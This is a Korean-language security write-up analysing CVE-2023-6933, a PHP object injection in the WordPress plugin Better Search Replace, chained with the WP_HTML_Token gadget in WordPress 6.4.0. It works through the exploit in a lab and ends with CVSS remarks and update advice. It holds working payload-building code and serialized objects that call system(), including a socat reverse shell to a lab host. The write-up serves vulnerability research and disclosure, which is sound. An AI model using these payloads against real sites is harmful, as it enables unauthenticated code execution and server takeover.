
CVE-2023-6933 취약점 소개
"Better Search Replace" 플러그인은 WordPress용으로 PHP 객체 주입으로 알려진 심각한 취약점을 보여줍니다. 이 보안 결함은 버전 1.4.4까지의 모든 버전에 존재합니다. 이는 신뢰할 수 없는 입력의 역직렬화에서 비롯되어, 인증되지 않은 공격자가 시스템에 PHP 객체를 주입할 수 있게 합니다. 주목할 점은 플러그인 자체에는 PHP 객체 주입(POI) 체인이 포함되어 있지 않습니다. 그러나 대상 시스템에 POI 체인이 포함된 다른 취약한 플러그인이나 테마가 설치되어 있는 경우, 이 취약점을 통해 공격자가 임의의 파일을 삭제하거나, 민감한 데이터에 접근하거나, 악성 코드를 실행할 수 있습니다.
이 분석에서는 원격 코드 실행(RCE) 문제를 해결하기 위해 패치된 WordPress 버전 6.4.0의 취약점도 다룰 것입니다. 또한, 이 두 취약점을 연결하여 인증되지 않은 원격 코드 실행을 달성할 가능성도 탐구할 것입니다.
Better Search Replace 플러그인의 현재 안정 버전을 확인하려면 다음 명령어를 사용하세요:
echo 'http://wp6.4-better-search-replace-before-1.4.5.local' \
| sed "s'$'/wp-content/plugins/better-search-replace/README.txt'" \
| httpx -silent -mc 200 -er 'Stable tag:.*'
http://wp6.4-better-search-replace-before-1.4.5.local/wp-content/plugins/better-search-replace/README.txt [Stable tag: 1.4.3]
먼저 분석을 위해 세 개의 Docker 컨테이너를 설정했습니다:
취약점을 더 깊이 이해하기 위해 "Better Search Replace" 플러그인의 GitHub 저장소에서 특정 커밋을 분석하기 시작했습니다. 이 커밋들은 취약점의 성격과 수정 사항에 관한 중요한 정보를 포함하고 있을 수 있습니다.

이 함수에서 다음 매개변수를 확인할 수 있습니다:
from: 대체할 텍스트입니다.to: 대체 텍스트를 나타냅니다.data: 대체가 필요한 데이터입니다.여기서 중요한 점은 데이터가 함수 $this->unserialize($data)로 직접 전달된다는 것입니다.

따라서 여기서 문자열이 역직렬화될 것임을 알 수 있습니다.
data에 직렬화된 객체를 주입할 수 있는 위치를 파악하기 위해 플러그인의 시각적 인터페이스를 살펴보겠습니다.

따라서 이 테이블 중 하나에 직렬화된 객체를 배치할 수 있지만, 원격 코드 실행(RCE)을 달성하려면 취약한 직렬화 객체가 필요합니다.
WordPress 버전 6.4.0에서는 PHP 객체 WP_HTML_Token이 도입되었습니다. 다음은 그 구조와 악용 가능성에 대한 분석입니다:
main.php
<?php
class WP_HTML_Token {
public $bookmark_name = null;
public $node_name = null;
public $has_self_closing_flag = false;
public $on_destroy = null;
/**
* Constructor - creates a reference to a token in some external HTML string.
*
* @since 6.4.0
*
* @param string $bookmark_name Name of bookmark corresponding to location in HTML where token is found.
* @param string $node_name Name of node token represents; if uppercase, an HTML element; if lowercase, a special value like "marker".
* @param bool $has_self_closing_flag Whether the source token contains the self-closing flag, regardless of whether it's valid.
* @param callable $on_destroy Function to call when destroying token, useful for releasing the bookmark.
*/
public function __construct( $bookmark_name, $node_name, $has_self_closing_flag, $on_destroy = null ) {
$this->bookmark_name = $bookmark_name;
$this->node_name = $node_name;
$this->has_self_closing_flag = $has_self_closing_flag;
$this->on_destroy = $on_destroy;
}
public function __destruct() {
if ( is_callable( $this->on_destroy ) ) {
call_user_func( $this->on_destroy, $this->bookmark_name );
}
}
}
__destruct 메서드 내의 call_user_func 함수가 악용의 핵심입니다. 필요 조건은 다음과 같습니다:
$this->on_destroy: 호출 가능한 함수.
$this->bookmark_name: 호출 가능한 함수의 인수.
이를 악용하기 위해 main.php 끝에 다음 줄을 추가했습니다 (참고: 직렬화 전에 call_user_func 줄을 주석 처리하세요):
$token = new WP_HTML_Token("touch /tmp/rce", "nodeName", false, 'system');
$serializedObject = serialize($token);
echo $serializedObject;
php main.php
O:13:"WP_HTML_Token":4:{s:13:"bookmark_name";s:14:"touch /tmp/rce";s:9:"node_name";s:8:"nodeName";s:21:"has_self_closing_flag";b:0;s:10:"on_destroy";s:6:"system";}
이제 웹사이트에 인증되지 않은 댓글을 추가하여 이론을 테스트할 수 있습니다.

이제 플러그인을 사용하여 역직렬화 함수를 트리거할 차례입니다.

파일이 예상대로 생성되었으므로, 역직렬화 중 및 객체 소멸 중 RCE가 올바르게 작동합니다.

삭제된 댓글의 지속성: 댓글이 삭제되더라도 데이터베이스에 '사용자에게 표시되지 않음'으로 태그된 상태로 남아 있습니다. 그러나 플러그인은 표시 가능한 댓글과 보이지 않는 댓글을 구분하지 않고 무조건 객체를 역직렬화합니다.
드라이 런 중 역직렬화: 드라이 런 중에도 역직렬화 프로세스가 발생합니다. 이는 보안 측면에서 중요한 간과 사항입니다.
초기 평가: Wordfence의 CVSS(Common Vulnerability Scoring System) 분류는 오류가 있는 것으로 보입니다. 제 의견으로는 8.8로 평가되어야 합니다.
수정 평가: 현재 CVSS 점수는 9.8입니다. 그러나 이 평가는 코드 역직렬화가 발생하려면 "올바른 테이블에서 사용자 상호작용이 필요하다"는 사실을 간과하고 있습니다. 이를 확인하기 위해 연구원 Sam Pizzey에게 연락했으며, 그는 내 관찰을 확인했습니다: 취약점 실행을 위해서는 누군가 플러그인과 상호작용해야 합니다.
리버스 셸 기술에 관심이 있는 분들을 위해, 이 과정을 간소화하기 위해 페이로드를 수정했습니다. 이는 등록이 모든 사람에게 열려 있는 웹사이트에 적용될 수 있습니다:
$token = new WP_HTML_Token("socat TCP:172.17.0.4:4444 EXEC:/bin/bash", "nodeName", false, 'system');
$serializedObject = serialize($token);
echo $serializedObject;
O:13:"WP_HTML_Token":4:{s:13:"bookmark_name";s:40:"socat TCP:172.17.0.4:4444 EXEC:/bin/bash";s:9:"node_name";s:8:"nodeName";s:21:"has_self_closing_flag";b:0;s:10:"on_destroy";s:6:"system";}
프로필에 PHP 객체 삽입

그런 다음 들어오는 연결을 기다리기 위해 리스너를 열었습니다.


마지막으로, 리버스 셸 연결을 성공적으로 수신했습니다.

이 문서는 CVE-2023-6933 취약점에 대한 상세한 개요를 제공하며, 그 영향, 기술적 세부 사항 및 완화 전략을 포함합니다. 이 취약점을 이해하고 대응하는 것은 'Better Search Replace' 플러그인을 사용하는 WordPress 설치의 보안과 무결성을 유지하는 데 중요합니다.
취약점을 해결하려면 Better Search Replace 1.4.4보다 높은 버전으로 업데이트하고 WordPress 업데이트를 수행하세요.
저자: Maxime Paillé
GitHub: w2xim3
LinkedIn: LinkedIn 프로필